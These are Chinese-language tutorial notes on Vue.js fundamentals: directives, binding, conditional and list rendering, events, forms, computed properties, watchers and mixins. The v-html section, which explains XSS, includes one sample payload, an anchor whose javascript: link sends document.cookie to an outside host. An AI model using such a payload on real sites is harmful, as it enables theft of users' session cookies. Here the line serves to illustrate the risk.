Vue基操
一.模板语法
(1) 插值
a.文本 {{ }} 声明一条数据,然后用特殊的模板语法将其渲染出来(声明式渲染)
b.纯HTML
v-html慎用 ,防止XSS,CSRF(
(1) 前端过滤 (前端采用正则将容易注入的字符<等过滤掉)
(2) 后台转义( < > 换成 < > )
)
<a href=javascript:location.href='http://www.baidu.com?
cookie='+document.cookie>click</a>
c.表达式
(2) 指令
是带有 v- 前缀的特殊属性
-
v-bind 动态绑定属性
-
v-if 动态创建/删除
-
v-show 动态显示/隐藏
-
v-on:click 绑定事件
-
v-for 遍历
-
v-model 双向绑定表单 (修饰符)
-
v-cloak 防止表达式闪烁
注:
v-cloak
给模板内的元素添加v-cloak属性后,元素在vue没有加载完的时候就有这个属性,当vue加载完成后这个属性就消失了,所以我们可以给这个属性设置css样式为隐藏
<style>
[v-cloak]{
display:none
}
</style>
visibility:hidden 元素消失了 但后续的元素还是保持不变,不会破坏文档流结构 ===> 产生了重绘了 (repaint)
display:none 让元素消失了 后续的元素会占据消失元素的位置,破坏文档流结构 ===> 产生了回流了(reflow)
v-text/v-html
v-text会指定将模板内元素的textContent属性替换为指令值所代表的数据
v-html可以解析标签,更改元素的innerHTML,性能比v-text较差
v-pre
跳过元素和其子元素的编译过程,可以用来显示mustache
(3) 缩写
v-bind:src => :src
v-on:click => @click
二. class与style
(1) 绑定HTML Class
- 对象语法
<div id="app">
<p class="red">这是一个p段落标签...</p>
<p :class="{'red':isRed}">这是一个p段落标签...</p>
<p class="red" :class="(isBig ? 'big' : '')">这是一个p段落标签...</p>
<p><button @click="isRed=!isRed">切换class</button></p>
</div>
- 数组语法
<p :class="['red',(isBig ? 'big' : '')]">这是一个p段落标签...</p>
(2) 绑定内联样式
-
对象语法
<p :style="{backgroundColor:background,fontSize:'40px'}">我是p段落标签...</p> //key名需要采用驼峰式的写法哦,不然会报错的! new Vue({ el:"#app", data:{ background:"green" } })
-
数组语法
//需要将 font-size =>fontSize
<p :style="[{backgroundColor:background,fontSize:'40px'}]">我是p段落标签...</p>
三. 条件渲染
(1) v-if
在Vue中可以使用v-if来控制模板里元素的显示和隐藏,值为true就显示,为false就隐藏
v-if控制的是 是否渲染这个节点
(2) v-else v-else-if
当有else分支逻辑的时候,可以给该元素加上v-else指令来控制,v-else会根据上面的那个v-if来控制,效果与v-if相反,注意,一定要紧挨着
还有v-else-if指令可以实现多分支逻辑
(3) template v-if
当我们需要控制一组元素显示隐藏的时候,可以用template标签将其包裹,将指令设置在template上,等vm渲染这一组元素的时候,不会渲染template
(4) v-show
Vue还提供了v-show指令,用法和v-if基本一样,控制的是元素的css中display属性,从而控制元素的显示和隐藏 , 不能和v-else配合使用,且不能使用在template标签上,因为template不会渲染,再更改它的css属性也不会渲染,不会生效
v-if vs v-show
v-if 是“真正”的条件渲染,因为它会确保在切换过程中条件块内的事件监听器和子组件适当地被销毁和重建。
v-if 也是惰性的:如果在初始渲染时条件为假,则什么也不做;—直到条件第一次变为真时,才会开始渲染条件块。
相比之下,v-show 就简单得多;—不管初始条件是什么,元素总是会被渲染,并且只是简单地基于 CSS 进行切换。
一般来说,v-if 有更高的切换开销,而 v-show 有更高的初始渲染开销。因此,如果需要非常频繁地切换,则使用 v-show 较好;如果在运行时条件很少改变,则使用 v-if 较好。
四. 列表渲染
(1) v-for
这是一个指令,只要有v-的就是指令(directive 操作dom )
在vue中可以通过v-for来循环数据的通知循环dom,语法是item in/of items,接收第二个参数是索引 (item,index) of items,
还可以遍历对象,第一个参数是value,第二个是key,第三个依然是索引
<div id="app">
<ul>
<li v-for="(item,index) in arr"> {{index+1}} 、 {{item}}</li>
</ul>
<ul>
<li v-for="(value,key,index) in user">{{index}}/{{key}}:{{value}}</li>
</ul>
</div>
new Vue({
el:"#app",
data:{
arr:["苹果","梨子","香蕉"],
user:{
name:"张三"
}
}
})
(2) key
*跟踪每个节点的身份,从而重用和重新排序现有元素
*理想的 key 值是每项都有的且唯一的 id。data.id
(3) 数组更新检测
a. 使用以下方法操作数组,可以检测变动
push() pop() shift() unshift() splice() sort() reverse()
b. filter(), concat() 和 slice() ,map(),新数组替换旧数组
c. 不能检测以下变动的数组
由于 JavaScript 的限制,Vue 不能检测以下数组的变动:
1.当你利用索引直接设置一个数组项时,例如:vm.items[indexOfItem] = newValue
1-1.Vue.set(vm.items, indexOfItem, newValue)
Vue.set(vm.arr, 2, 30) //如果在实例中可以通过 this.$set(vm.arr, 2, 30)
1-2 vm.items.splice(indexOfItem, 1, newValue)
2.当你修改数组的长度时,例如:vm.items.length = newLength
vm.items.splice(newLength)
五. 事件处理
(1) 监听事件-直接触发代码
在vue中还有v-on来为dom绑定事件,在v-on:后面加上要绑定的事件类型,值里可以执行一些简单javascript表达式:++ – = …
可以将一些方法设置在methods里,这样就可以在v-on:click的值里直接写方法名字可以,默认会在方法中传入事件对象,当写方法的时候加了()就可以传参,这个时候如果需要事件对象,那就主动传入$event
v-on绑定的事件可以是任意事件,v-on:可以缩写为@
为什么在 HTML 中监听事件?
你可能注意到这种事件监听的方式违背了关注点分离 (separation of concern) 这个长期以来的优良传统。但不必担心,因为所有的 Vue.js 事件处理方法和表达式都严格绑定在当前视图的 ViewModel 上,它不会导致任何维护上的困难。实际上,使用 v-on 有几个好处:
- 扫一眼 HTML 模板便能轻松定位在 JavaScript 代码里对应的方法。
- 因为你无须在 JavaScript 里手动绑定事件,你的 ViewModel 代码可以是非常纯粹的逻辑,和 DOM 完全解耦,更易于测试。
- 当一个 ViewModel 被销毁时,所有的事件处理器都会自动被删除。你无须担心如何自己清理它们。
(2) 方法事件处理器-写函数名 handleClick
(3) 内联处理器方法-执行函数表达式
handleClick($event) $event 事件对象
(4) 事件修饰符
.stop .prevent .self .once
(5) 按键修饰符
六. 表单控件绑定/双向数据绑定
v-model
(1) 基本用法
(2) 修饰符
- .lazy :失去焦点同步一次
- .number :格式化数字
- .trim : 去除首尾空格
七. 计算属性
复杂逻辑,模板难以维护
(1) 基础例子
有的时候我们需要在模板中使用数据a,这个时候就需要用到表达式,但是有的地方我们需要对a数据进行一些简单的处理后才能使用,那么我们就会在表达式中写一些js逻辑运算
<div id="example">
{{ message.split('').reverse().join('') }}
</div>
这样我们的维护就会非常困难,也不便于阅读
(2) 计算缓存 vs methods
我们就可以在methods里设置一个方法,在模板的表达式中使用这个方法
// 在组件中
methods: {
reversedMessage: function () {
return this.message.split('').reverse().join('')
}
}
但是这个时候,只要vm中有数据变化,这个变化的数据可能和我们关注的数据无关,但是vm都会重新渲染模板,这个时候表达式中的方法就会重新执行,大大的影响性能
(3) data vs computed vs watch
这个时候其实我们可以使用监听器里完成:
在vm实例中设置watch属性,在里面通过键值对来设置一些监听,键名为数据名,值可以是一个函数,这个函数在数据改变之后才会执行,两个参数分别是更改前的值和更改后的值
watch:{
a: function (val, oldVal) {
console.log('new: %s, old: %s', val, oldVal)
}
}
值还可以是一个方法名字,当数据改变的时候这个方法会执行
当数据为object的时候,object的键值对改变不会被监听到(数组的push等方法可以),这个时候需要设置深度监听:
c: {
deep:true,
handler:function (val, oldVal) {
console.log('new: %s, old: %s', val, oldVal)
}
},
监听的handler函数前面的这几种写法都是在数据变化的时候才会执行,初始化的时候不会执行,但是如果设置immediate为true就可以了
watch:{
num(newValue,oldValue){ //这样去写的话不会主动执行一次,需要更改依赖项的时候,才会执行!
},
num:{
immediate:true, //初始化的时候主动执行一次handler
handler:function(newValue,oldValue){
this.nums = newValue*2
}
}
}
我们在回到上面的问题,用监听器加上immediate属性就可以做到该效果,但是大家可以看到的是逻辑稍稍有点复杂
我们一般都会用到一个叫计算属性的东西来解决:
计算属性就是在实例配置项中通过computed来为vm设置一个新的数据,而这个新数据会拥有一个依赖(一条已经存在的数据),当依赖发生变化的时候,新数据也会发生变化
与方法的方式相比,它性能更高,计算属性是基于它们的依赖进行缓存的。计算属性只有在它的相关依赖发生改变时才会重新求值。相比之下,每当触发重新渲染时,调用方法将总会再次执行函数。
与watch相比,写起来简单,逻辑性更清晰,watch一般多用于,根据数据的变化而执行某些动作,而至于这些动作是在干什么其实无所谓,而计算属性更有针对性,根据数据变化而更改另一个数据
计算属性也拥有getter和setter,默认写的是getter,设置setter可以当此计算属性数据更改的时候去做其他的一些事情,相当于watch这个计算属性
xm:{
get:function(){//getter 当依赖改变后设置值的时候
return this.xing+'丶'+this.ming
},
set:function(val){//setter 当自身改变后执行
this.xing = val.split('丶')[0]
this.ming = val.split('丶')[1]
}
}
八. Mixins
混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。
混入对象可以包含任意组件选项。
当组件使用混入对象时,所有混入对象的选项将被混入该组件本身的选项。